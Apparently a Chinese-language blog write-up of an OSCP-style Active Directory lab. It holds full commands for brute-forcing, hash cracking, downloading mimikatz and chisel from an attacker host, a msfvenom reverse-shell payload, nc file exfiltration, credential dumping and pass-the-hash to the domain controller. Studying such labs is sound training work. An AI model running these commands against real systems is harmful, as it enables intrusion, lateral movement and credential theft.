Challenge 6 - AD
Challenge 6 - AD
先掃對外的機器 └─$ rustscan -a 192.168.187.153 --scripts none --ulimit 5000 | tee rustscan
列舉服務資訊 └─$ sudo nmap -sCV -p 22,135,139,445,5040,5985,8000,47001,49664,49666,49665,49667,49669,49670,49668,49671 192.168.187.153 | tee nmap
└─$ whatweb 192.168.187.153:8000，標準 IIS 10.0 服務
預設 8000 Port 沒啥東西
└─$ gobuster -w dirfuzzing.txt dir -u http://192.168.187.153:8000 -t 150 -x txt,pdf,git,aspx | tee gobuster，HTTP Status 200 有這兩個
/aspent_client
/partner
http://192.168.187.153:8000/partner/ 顯示 Access Deny，看來是個資料夾，那就掃子目錄看看
└─$ gobuster -w dirfuzzing.txt dir -u http://192.168.187.153:8000/partner -t 150 -x txt,pdf,git,aspx | tee gobuster-partner，掃出兩個路徑 /changelog、/db
連線測試發現是檔案，下載回 kali 看看，changelog 檔案沒啥東西
db 檔案無法讓人友善的讀，改成 strings db 發現是一個 SQLite format 3 格式檔案
將檔案丟到線上 SQLite Viewer https://inloop.github.io/sqlite-viewer/ 查看如下
發現帳號與密碼的紀錄欄位
ecorp:7007296521223107d3445ea0db5a04f9
support:26231162520c611ccabfb18b5ae4dff2 (support account for internal use)
bcorp:e7966b31d1cad8a83f12ecec236c384c
acorp:df5fb539ff32f7fde5f3c05d8c8c1a6e
線上 HASH 破解試試看 https://hashes.com/en/decrypt/hash，解出三個 HASH
ecorp:ecorp
support:Freedom1
bcorp:bcorp123!
acorp:df5fb539ff32f7fde5f3c05d8c8c1a6e --> 解不出來
把解不出來的丟到這裡先分析一下看看是哪一種 HASH https://www.tunnelsup.com/hash-analyzer/
看來應該是 MD5，那就 hashcat 解解看 └─$ hashcat -m 0 df5fb539ff32f7fde5f3c05d8c8c1a6e /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
使用現有拿到的帳號密碼寫到檔案測試其他服務看看
└─$ hydra -L ./usernames.txt -P ./passwords.txt ssh://192.168.187.153
support:Freedom1 --> SSH Success
SSH 進去後是 command line 使用者是 support，dir 後發現一個怪怪的軟體 admintool.exe
直接執行要你輸入 --help，輸入 --help 後可以看到要你接 <CMD>
輸入 admintool.exe powershell 要輸入密碼，輸入 Freedom1 噴錯誤如下，看來又是個 HASH
left: `"26231162520c611ccabfb18b5ae4dff2"`,
right: `"05f8ba9f047f799adbea95a16de2ef5d"`: Wrong administrator password!', src/main.rs:78:5
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
一樣到這裡解解看 https://hashes.com/en/decrypt/hash
left: "26231162520c611ccabfb18b5ae4dff2" --> 這個就是剛剛 Support 密碼的 HASH
right: "05f8ba9f047f799adbea95a16de2ef5d" --> December31，看來是 administrator 的密碼
SSH administrator@192.168.187.153 輸入 December31 順利進去，whoami 發現是管理者
順利拿下 153 的管理者，開始標準作業上傳 payload
iwr -uri http://192.168.45.173/nc64.exe -Outfile nc.exe
iwr -uri http://192.168.45.173/chisel.exe -Outfile chisel.exe
iwr -uri http://192.168.45.173/mimikatz.exe -Outfile mimikatz.exe
標準作業 mimikatz.exe，privilege::debug，sekurlsa::logonpasswords
一樣只有發現 Administrator : 3c4495bbd678fac8c9d218be4f2bbc7b
└─$ hashcat -m 1000 3c4495bbd678fac8c9d218be4f2bbc7b /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
搭建 chisel，└─$ chisel server --port 8080 --reverse
搭建完後測試一下內網伺服器用 administrator HASH 試試看，└─$ proxychains4 -q evil-winrm -i 10.10.77.154 -u administrator -H 3c4495bbd678fac8c9d218be4f2bbc7b，結果無法登入
153 搭建另一個 session 時，無論使用 nc64.exe 或是 powercat.ps1 都無法成功，後來直接包 payload，└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.173 LPORT=443 -f exe -b '\x00\x0d\x0a' -o 153-2.exe
透過指令 (Get-PSReadlineOption).HistorySavePath 確認 Log 存放路徑
獲得檔案後直接 type 看一下，得到 C:\users\support\admintool.exe hghgib6vHT3bVWf cmd
看來是一組密碼，一樣先存到 passwords.txt 然後測試看看
crackmapexec 預設會用網域方式登入測試，經一輪測試後沒有發現新的登入
後來加上 --local-auth 表示帳號用作本機的帳號測試，指令 └─$ proxychains4 -q crackmapexec smb 10.10.95.154 -u ./usernames.txt -p 'hghgib6vHT3bVWf' --local-auth
發現 administrator:hghgib6vHT3bVWf 為 154 本機帳號
那就直接登入吧 └─$ proxychains4 -q evil-winrm -i 10.10.95.154 -u administrator -p hghgib6vHT3bVWf，登入就是管理者
標準作業 iwr -uri http://192.168.45.194/mimikatz.exe -Outfile mimikatz.exe
發現顯示 Unable to connect to the remote server，那就搭反向 chisel 吧
153 : chisel.exe server --port 1234 --reverse -v
kali : chisel client 192.168.205.153:1234 R:4321:127.0.0.1:80
iwr -uri http://10.10.95.153:4321/mimikatz.exe -Outfile mimikatz.exe，上傳 mimikatz.exe
標準作業 mimikatz.exe，privilege::debug，sekurlsa::logonpasswords
執行後發現錯誤，一直跳 mimikatz#，先想想等等再繼續
另外在 153 進行 winPEASx64.exe 實有發現另外一組帳號密碼
另一個 sql_svc 沒有破出來所以又回到源頭，後來在 154 上看到 windows.old
那就做一點較麻煩的功吧，先將 SAM & SYSTEM COPY 到 Administrator 路徑下
copy C:\windows.old\Windows\System32\SAM C:\users\Administrator\SAM
copy C:\windows.old\Windows\System32\SYSTEM C:\users\Administrator\SYSTEM
再將 SAM & SYSTEM 抓回 kali 上破解
153 : chisel.exe server --port 2345 --reverse -v
kali : chisel client 192.168.205.153:2345 R:5432:127.0.0.1:7777
C:\users\Administrator\nc.exe 10.10.95.153 5432 < SAM
跑起來有一點問題無法順利執行 nc.exe 來傳送檔案
後來看到 crackmapexec 可以用參數 --lsa 就能直接對遠端機器做 lsa dump，拿來對 154 試試看
└─$ proxychains4 -q crackmapexec smb 10.10.95.154 -u Administrator -p hghgib6vHT3bVWf --local-auth --lsa
獲得 OSCP.EXAM/Administrator:$DCC2$10240#Administrator#a3a38f45ff2adaf28e945577e9e2b57a
另外要將 SAM & SYSTEM 使用 └─$ proxychains4 -q evil-winrm -i 10.10.129.154 -u administrator -p hghgib6vHT3bVWf 跑 NC 傳檔案一直不成功無法成功 run NC
後來改用 impacket-psexec 進去 └─$ proxychains4 -q impacket-psexec administrator:hghgib6vHT3bVWf@10.10.129.154 跑 nc 傳輸檔案
SYSTEM 較大傳得有點久要耐心等一下
傳完後直接 dump
└─$ impacket-secretsdump -sam ./SAM -system ./SYSTEM LOCAL
tom_admin:1001:aad3b435b51404eeaad3b435b51404ee:4979d69d4ca66955c075c41cf45f24dc:::
接著一樣使用 impacket-psexec 用 tom_admin 試試看
proxychains -q impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:4979d69d4ca66955c075c41cf45f24dc tom_admin@10.10.129.152
進去 DC 了，直接拿答案吧
留言
張貼留言